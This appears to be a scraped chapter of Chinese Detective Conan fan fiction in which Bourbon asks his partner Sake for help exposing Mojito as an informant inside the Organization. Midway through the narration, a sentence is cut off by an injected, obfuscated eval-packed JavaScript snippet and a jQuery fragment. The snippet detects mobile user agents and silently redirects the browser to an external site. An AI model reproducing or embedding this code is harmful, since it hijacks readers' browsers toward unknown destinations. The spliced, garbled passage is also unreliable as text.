“波本,你应该清楚,组织里是不允许私自调查其他代号成员的。”

    羽泽熙真淡淡开口。

    发现了疑点很好,任何一个组织成员都有义务对内部的异常保持警惕。

    波本完全可以选择在最开始将疑点整理好,通过正规渠道提交给朗姆或者琴酒,但他不能在没有经过允许的情况下私自调查。

    这样做往轻了说是内讧,往重了说是越权。按照琴酒的标准,足够吃一颗子弹。

    羽泽熙真之前敢这么干,是因为他知道自己挨了子弹大概率还能活。而安室透敢这么干,或许是清楚只要所谓“调查”没被捅到上面去,没人会特意去管。

    组织里各部门之间的嫌隙太多。情报组有情报组的暗账,行动组有行动组的私仇,研究所关起门来不知道在做什么,外围和后勤日常水深火热被当耗材。

    霓虹分部尚且如此,作为一个体量颇大的跨国组织,其他地区的分部也是不遑多让的混乱。

    大家都在灰色地带里各凭本事。

    “但是当时在码头上被骂得那么惨,我总该小小的报复一下嘛。”安室透仰头望着羽泽熙真,“难道你不想吗,清酒大人?”

    说实话不太想。

    骂他们的是那个红毛,不是莫吉托,羽泽熙真当场就把仇给报了——一脚踹下海,干脆利落。

    像安室透这种表面云淡风轻,背地里偷偷记仇,顺藤摸瓜把人家上司的丑事都挖出来报复的,还真不多见。

    羽泽熙真觉得自己应该找个时间仔细回忆一下,自己之前得罪这位波本大人时,有没有做得太过火。

    说是这么说,安室透给出的“报复红毛”这个理由虽然听起来荒唐又孩子气,但细想之下也并非完全没有说服力。

    红毛是莫吉托的人,真正的源头在莫吉托身上。打狗要看主人,报复狗当然也要找主人。

    但羽泽熙真并不完全相信这就是安室透的全部动机。

    他嚼着橘子,垂眼看着膝盖上那个金发脑袋。

    ——军火线。

    安室透注意到莫吉托的节点是雷兹事件之后。在那之前,羽泽熙真和他闲聊时听他说过,他对莫吉托的认知大概只停留在“朗姆手下某个爱花钱的情报官”的层面。

    朗姆将原本由莫吉托负责的军火线移交给了波本,之后追回了被吞下的部分款项。

    莫吉托自然对“多管闲事”的波本颇有微词:如果波本没有发现雷兹事件背后的真相,就没有后面的那些事了。

    虽然波本只是做了分内的事,但在莫吉托的逻辑里,波本就是那个砸了他饭碗的人。

    安室透去找莫吉托的把柄,有一部分原因也是为了自保——他把莫吉托的财路断了,在比他资历更深的莫吉托对他发难之前,他需要给自己添上一份筹码。

    如果莫吉托敢动他,他就把黑料交上去;如果莫吉托不敢动他,那更好,大家相安无事。

    但安室透没想到的是,他挖到的筹码重量远远超出了他的预估。

    贪污是一回事,做内鬼是另一回事。

    这份筹码大到足以将莫吉托完全扳倒,让他在组织里彻底消失。但同时,它又轻得可怕——因为它的核心证据是一段录音。

    或者说,在某些人听来,只是一段不知所云的录音而已。

    一旦安室透拿出这段录音,他就不得不解释录音是怎么来的。

    情报组平时也负责放出一些模棱两可的假消息迷惑外界。莫吉托如果反咬一口,说他只是在执行某个任务,而波本,一个刚拿到军火线就迫不及待排除异己的新人,私自调查同僚,编造证据,企图诬陷前辈。

    到那时候,安室透手里的录音笔就不是武器了。

    那是他的罪证。

    现在提交疑点已经来不及了,组织可不是什么正规的警视厅,对于这种不算太危急的小事,调查效率十年如一日的低下。

    说不定还没等他们查出来什么,莫吉托就已经把证据全销毁了,还能腾出时间顺便报复一下主要嫌疑人波本。

    想要彻底抹除后患,需要更多、更有力的证据,但提高警惕的莫吉托显然不会让他那么容易得手。

    羽泽熙真把嘴里的橘子咽下去。

    “所以说,你是在向我求救吗。”

    还有一条路:安室透可以找一个有权利让他这样做的人给他背书,增强自己的可信度,顺便免于高层的直接责难。

    于是现在,他趴在他搭档的膝盖上,把录音笔放进了他搭档的掌心。

    “算是吧。”安室透弯起嘴角,“救救我怎么样,清酒大人?算我欠你一个人情,波本的人情——很值钱的。”

    “你的人情目前为止兑现率是多少。”羽泽熙真问。

    “目前为止嘛……是零。因为之前没人有机会让我欠人情。”安室透理直气壮地说,“你是第一个,所以你可以随便开价。”

    第一个。

    听起来可真让人心动。

    羽泽熙真撕下一片饱满的橘瓣,拎着它悬在安室透面前。

    左移,右移。

    安室透趴在他的膝盖上,歪了歪头,视线也随之专注地左移,右移。

    忽然,安室透的胳膊微微用力,撑在羽泽熙真的膝盖上,上半身借力抬起,高度刚好足够——

    他从羽泽熙真手里一口叼走了那瓣橘子。

    随后他重新趴回手臂上,把橘子含进嘴里嚼着,满足地眯起眼睛。

    羽泽熙真若无其事地收回手,用拇指蹭了蹭被留下奇怪触感的食指。

    “我在橘子里下毒了。”他说。

    “诶?”安室透咀嚼的动作一顿,“我没有看到啊。”

    “要是能被你看到,还叫下毒吗?”

    羽泽熙真塞了一瓣橘子进自己嘴里。

    真好,还是很甜。这一批橘子品质都不错呢。

    “也是。”安室透认真地想了想,“下的是什么毒?”

    “让你再也没办法跑出去惹事的神经毒素。发作之后你会四肢瘫软,精神萎靡,每天只能躺在沙发上吃橘子看电视,衣来伸手饭来张口。”

    “听起来不错。那是你的理想生活吗?”

    “当然不是。”羽泽熙真无奈,先不说那类药物对他会不会起效,“失去价值的我第二天就要被前辈送去东京湾游泳了。”

    “清酒大人。下药的意思是不打算救我吗?”

    “你觉得呢。”

    “真令人难过。”

    安室透叹了口气,脑袋卸了力似得,重重落在羽泽熙真腿上。

    ……这个看起来

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718434|205914||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    暂时老实的麻烦精,现在脑子里在想什么呢?

    在想怎么说服他帮忙,在想如果他不帮忙该怎么应对,在想莫吉托下一步会做什么,在想苏格兰今天晚上吃什么。

    啊,今天晚上的食谱轮到了什么来着。羽泽熙真的思路也不由自主地被带跑了。

    是否要帮波本的忙,这个问题比今天晚上吃什么要严肃得多。

    它需要考虑很多因素,比如羽泽熙真前段时间才因为类似的原因吃过亏,比如怎么帮,要帮到什么程度,之后可能造成的影响等等等等。

    但对于羽泽熙真来说,给出答案的难度其实远远小于晚饭的食谱。

    他很早之前就想找出这个内鬼了。

    这个家伙半真半假的卖行动组的情报,但尺度把控得很精准,就像一根卡在喉咙里不上不下的鱼刺,让原本顺利的行动遇到不该遇的阻力,却又没有造成严重到导致可以追究的结果。

    情报组懒得管,行动组不好管,追查费时费力,对于情报组不熟悉的羽泽熙真也迟迟没有进展。

    波本这也算是歪打正着了。

    而且——

    “你是我的搭档啊,安室君。”

    羽泽熙真双手撑在身侧,坐直身子。

    “朗姆大人让你住进这里,让我带你适应一线行动——你也叫过我‘前辈’,不是吗?”

    “……”安室透惊讶地抬头。

    “所以不管是作为前辈还是作为搭档,我都不会对你的处境坐视不管。这也是我的责任。”

    “……清酒。”

    “如果你早些告诉我你担心莫吉托的事,我现在已经带着你找到他办公室门口去了。”羽泽熙真继续说,“难道你觉得我会放任他报复你吗?”

    他伸出手,轻轻碰了一下安室透额前的金发,那一小缕头发晃了晃。

    “我还不至于连自己的搭档都护不住。”

    安室透睁着眼睛盯着他看,半天没说出一个字。

    会客室里只有两人呼吸的声音。

    羽泽熙真有些疑惑。

    他刚刚说错了什么吗?

    怎么安室透的表情这么奇怪。

    他从来没见过他露出这样的表情,太复杂了,很难去分析。

    “你不喜欢行动组的处理方式,我知道的。”羽泽熙真补充道,“没关系,按照你的路线继续就好。”

    安室透还是没有说话。

    “……波本?”

    “啊。”

    安室透终于应了一声。他动了动嘴角,露出一个微笑。

    “好。”他说。

    羽泽熙真等了几秒,确认他没有更多的话要说了,于是轻轻推了推膝盖上安室透的手臂——他要站起来了。

    安室透安静地收了手,站起身,往后退了两步,给他让出空间。

    羽泽熙真把还躺在地上的朗姆酒拾起来,塞进安室透手里,随后转身往外走。

    这边温度还是太低了,待久了不舒服。

    走出几步,他听到安室透在身后叫他。

    “清酒。”

    他回过头。

    “我今天和苏格兰学了炒鸡蛋的做法。”安室透说,“明天的早餐我来做,怎么样?”

    “好啊。”羽泽熙真说,“那我就期待一下了。”